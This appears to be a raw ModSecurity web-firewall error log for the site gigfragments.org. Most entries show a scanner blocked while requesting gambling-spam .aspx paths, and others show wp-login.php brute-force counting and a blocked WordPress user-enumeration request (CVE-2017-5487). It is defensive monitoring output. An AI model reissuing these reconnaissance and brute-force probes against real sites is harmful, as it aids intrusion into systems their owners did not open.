[Wed May 06 13:24:10.355475 2026] [:error] [pid 9664:tid 9777] [client 195.201.199.99:47472] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afrQegH4OZbrg1SjsBMJlQAAAI8"]
[Wed May 06 13:24:12.753886 2026] [:error] [pid 9653:tid 9710] [client 195.201.199.99:48002] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afrQfKhJ49Xc4dqq0B6T9QAAAAw"]
[Wed May 06 13:24:15.213804 2026] [:error] [pid 9664:tid 9783] [client 195.201.199.99:48488] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afrQfwH4OZbrg1SjsBMJmgAAAJU"]
[Wed May 06 13:24:17.614121 2026] [:error] [pid 557:tid 563] [client 195.201.199.99:48940] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afrQgTZjFR8Vd8ce80AXAQAAAkQ"]
[Wed May 06 13:24:20.132875 2026] [:error] [pid 9653:tid 9705] [client 195.201.199.99:49390] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afrQhKhJ49Xc4dqq0B6T_wAAAAc"]
[Wed May 06 13:24:22.686736 2026] [:error] [pid 13414:tid 13438] [client 195.201.199.99:49896] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afrQhkuJQpWjVpJTu_n4uQAAARY"]
[Wed May 06 13:24:24.857726 2026] [:error] [pid 9664:tid 9762] [client 195.201.199.99:50292] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afrQiAH4OZbrg1SjsBMJnwAAAIA"]
[Wed May 06 13:24:26.864869 2026] [:error] [pid 557:tid 559] [client 195.201.199.99:50700] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afrQijZjFR8Vd8ce80AXAgAAAkA"]
[Wed May 06 13:24:29.289540 2026] [:error] [pid 13414:tid 13436] [client 195.201.199.99:51220] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afrQjUuJQpWjVpJTu_n4uwAAARQ"]
[Wed May 06 13:24:31.368636 2026] [:error] [pid 592:tid 601] [client 195.201.199.99:51642] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afrQj5iX28mb6xLi2PyLyQAAAoU"]
[Wed May 06 13:24:33.552383 2026] [:error] [pid 9789:tid 9798] [client 195.201.199.99:52048] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afrQkT_YStPJSCHPkUVHAwAAAEc"]
[Wed May 06 13:24:35.909348 2026] [:error] [pid 9789:tid 9800] [client 195.201.199.99:52488] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afrQkz_YStPJSCHPkUVHBQAAAEk"]
[Wed May 06 13:24:38.191242 2026] [:error] [pid 13414:tid 13432] [client 195.201.199.99:52916] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afrQlkuJQpWjVpJTu_n4vwAAARA"]
[Wed May 06 13:24:40.496195 2026] [:error] [pid 482:tid 494] [client 195.201.199.99:53354] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afrQmMxs8HOc_nWgOW7qggAAAco"]
[Wed May 06 13:24:42.501245 2026] [:error] [pid 482:tid 486] [client 195.201.199.99:53766] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afrQmsxs8HOc_nWgOW7qiAAAAcI"]
[Wed May 06 13:24:44.595288 2026] [:error] [pid 9659:tid 9752] [client 195.201.199.99:54128] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afrQnPwJnWjd8JHpBtthJgAAANI"]
[Wed May 06 13:24:46.904927 2026] [:error] [pid 482:tid 504] [client 195.201.199.99:54582] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afrQnsxs8HOc_nWgOW7qjAAAAdQ"]
[Wed May 06 13:24:49.081196 2026] [:error] [pid 9653:tid 9721] [client 195.201.199.99:55044] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afrQoahJ49Xc4dqq0B6UFwAAABc"]
[Wed May 06 13:24:51.267349 2026] [:error] [pid 9653:tid 9704] [client 195.201.199.99:55450] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afrQo6hJ49Xc4dqq0B6UGwAAAAY"]
[Wed May 06 13:24:53.609674 2026] [:error] [pid 9659:tid 9740] [client 195.201.199.99:55878] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afrQpfwJnWjd8JHpBtthLQAAAMY"]
[Wed May 06 13:24:55.847422 2026] [:error] [pid 557:tid 569] [client 195.201.199.99:56284] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afrQpzZjFR8Vd8ce80AXCwAAAko"]
[Wed May 06 13:24:58.149887 2026] [:error] [pid 592:tid 605] [client 195.201.199.99:56684] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afrQqpiX28mb6xLi2PyL0AAAAok"]
[Wed May 06 13:25:00.766225 2026] [:error] [pid 482:tid 503] [client 195.201.199.99:57214] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afrQrMxs8HOc_nWgOW7qlQAAAdM"]
[Wed May 06 13:25:03.052799 2026] [:error] [pid 9789:tid 9797] [client 195.201.199.99:57630] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afrQrz_YStPJSCHPkUVHFgAAAEY"]
[Wed May 06 13:38:11.756747 2026] [:error] [pid 9789:tid 9791] [client 123.207.65.62:47680] [client 123.207.65.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afrTwz_YStPJSCHPkUVJ1AAAAEA"]
[Wed May 06 14:07:57.146026 2026] [:error] [pid 482:tid 495] [client 170.106.192.208:36020] [client 170.106.192.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afravcxs8HOc_nWgOW75lgAAAcs"]
[Wed May 06 14:36:24.329542 2026] [:error] [pid 9789:tid 9811] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhaD_YStPJSCHPkUVU6AAAAFQ"], referer: https://wordpress.org/
[Wed May 06 14:36:40.559963 2026] [:error] [pid 9789:tid 9796] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afrheD_YStPJSCHPkUVVBAAAAEU"], referer: https://wordpress.org/
[Wed May 06 14:36:40.650742 2026] [:error] [pid 9789:tid 9793] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrheD_YStPJSCHPkUVVBQAAAEI"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 14:36:43.074906 2026] [:error] [pid 9789:tid 9797] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhez_YStPJSCHPkUVVBwAAAEY"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 14:36:44.172744 2026] [:error] [pid 9789:tid 9812] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhfD_YStPJSCHPkUVVCQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 14:36:46.482203 2026] [:error] [pid 9789:tid 9802] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhfj_YStPJSCHPkUVVDAAAAEs"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 14:36:47.595899 2026] [:error] [pid 9789:tid 9806] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhfz_YStPJSCHPkUVVDgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 14:36:49.995598 2026] [:error] [pid 9789:tid 9804] [client 217.142.190.120:55139] [client 217.142.190.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.142.190.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afrhgT_YStPJSCHPkUVVFQAAAE0"], referer: https://gigfragments.org/wp-login.php
[Wed May 06 15:26:52.983355 2026] [:error] [pid 482:tid 486] [client 65.108.125.120:32146] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afrtPMxs8HOc_nWgOW4OpwAAAcI"]
[Wed May 06 15:26:55.021380 2026] [:error] [pid 482:tid 509] [client 65.108.125.120:32152] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afrtP8xs8HOc_nWgOW4OqQAAAdc"]
[Wed May 06 15:26:56.962674 2026] [:error] [pid 13414:tid 13434] [client 65.108.125.120:32164] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afrtQEuJQpWjVpJTu_kDPwAAARI"]
[Wed May 06 15:26:59.054829 2026] [:error] [pid 9789:tid 9794] [client 65.108.125.120:20116] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afrtQz_YStPJSCHPkUVejgAAAEM"]
[Wed May 06 15:27:01.111629 2026] [:error] [pid 13414:tid 13417] [client 65.108.125.120:20130] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afrtRUuJQpWjVpJTu_kDQgAAAQE"]
[Wed May 06 15:27:02.965689 2026] [:error] [pid 63810:tid 63830] [client 65.108.125.120:20140] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afrtRnpnbsN9Zf6i5IEn7wAAAZA"]
[Wed May 06 15:27:04.882852 2026] [:error] [pid 9653:tid 9722] [client 65.108.125.120:20150] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afrtSKhJ49Xc4dqq0B62RgAAABg"]
[Wed May 06 15:27:06.916926 2026] [:error] [pid 9653:tid 9713] [client 65.108.125.120:20166] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afrtSqhJ49Xc4dqq0B62UgAAAA8"]
[Wed May 06 15:27:08.842224 2026] [:error] [pid 9653:tid 9718] [client 65.108.125.120:6802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afrtTKhJ49Xc4dqq0B62VQAAABQ"]
[Wed May 06 15:27:10.887991 2026] [:error] [pid 9653:tid 9709] [client 65.108.125.120:6812] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afrtTqhJ49Xc4dqq0B62XAAAAAs"]
[Wed May 06 15:27:12.928944 2026] [:error] [pid 63810:tid 63827] [client 65.108.125.120:6822] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afrtUHpnbsN9Zf6i5IEn9gAAAY0"]
[Wed May 06 15:27:14.898390 2026] [:error] [pid 9789:tid 9794] [client 65.108.125.120:6826] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afrtUj_YStPJSCHPkUVelgAAAEM"]
[Wed May 06 15:27:16.945395 2026] [:error] [pid 13414:tid 13417] [client 65.108.125.120:6828] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afrtVEuJQpWjVpJTu_kDSgAAAQE"]
[Wed May 06 15:27:19.003127 2026] [:error] [pid 9789:tid 9792] [client 65.108.125.120:59220] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afrtVz_YStPJSCHPkUVemAAAAEE"]
[Wed May 06 15:27:20.919654 2026] [:error] [pid 9653:tid 9698] [client 65.108.125.120:59224] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afrtWKhJ49Xc4dqq0B62YAAAAAA"]
[Wed May 06 15:27:22.934135 2026] [:error] [pid 9653:tid 9721] [client 65.108.125.120:59236] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afrtWqhJ49Xc4dqq0B62YwAAABc"]
[Wed May 06 15:27:24.864192 2026] [:error] [pid 482:tid 497] [client 65.108.125.120:59242] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afrtXMxs8HOc_nWgOW4OtgAAAc0"]
[Wed May 06 15:27:26.789283 2026] [:error] [pid 482:tid 501] [client 65.108.125.120:59250] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afrtXsxs8HOc_nWgOW4OuwAAAdE"]
[Wed May 06 15:27:28.712126 2026] [:error] [pid 63810:tid 63837] [client 65.108.125.120:53912] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afrtYHpnbsN9Zf6i5IEn-gAAAZc"]
[Wed May 06 15:27:30.657638 2026] [:error] [pid 9664:tid 9767] [client 65.108.125.120:53914] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afrtYgH4OZbrg1SjsBMdaQAAAIU"]
[Wed May 06 15:27:32.554959 2026] [:error] [pid 9789:tid 9807] [client 65.108.125.120:53920] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afrtZD_YStPJSCHPkUVeoAAAAFA"]
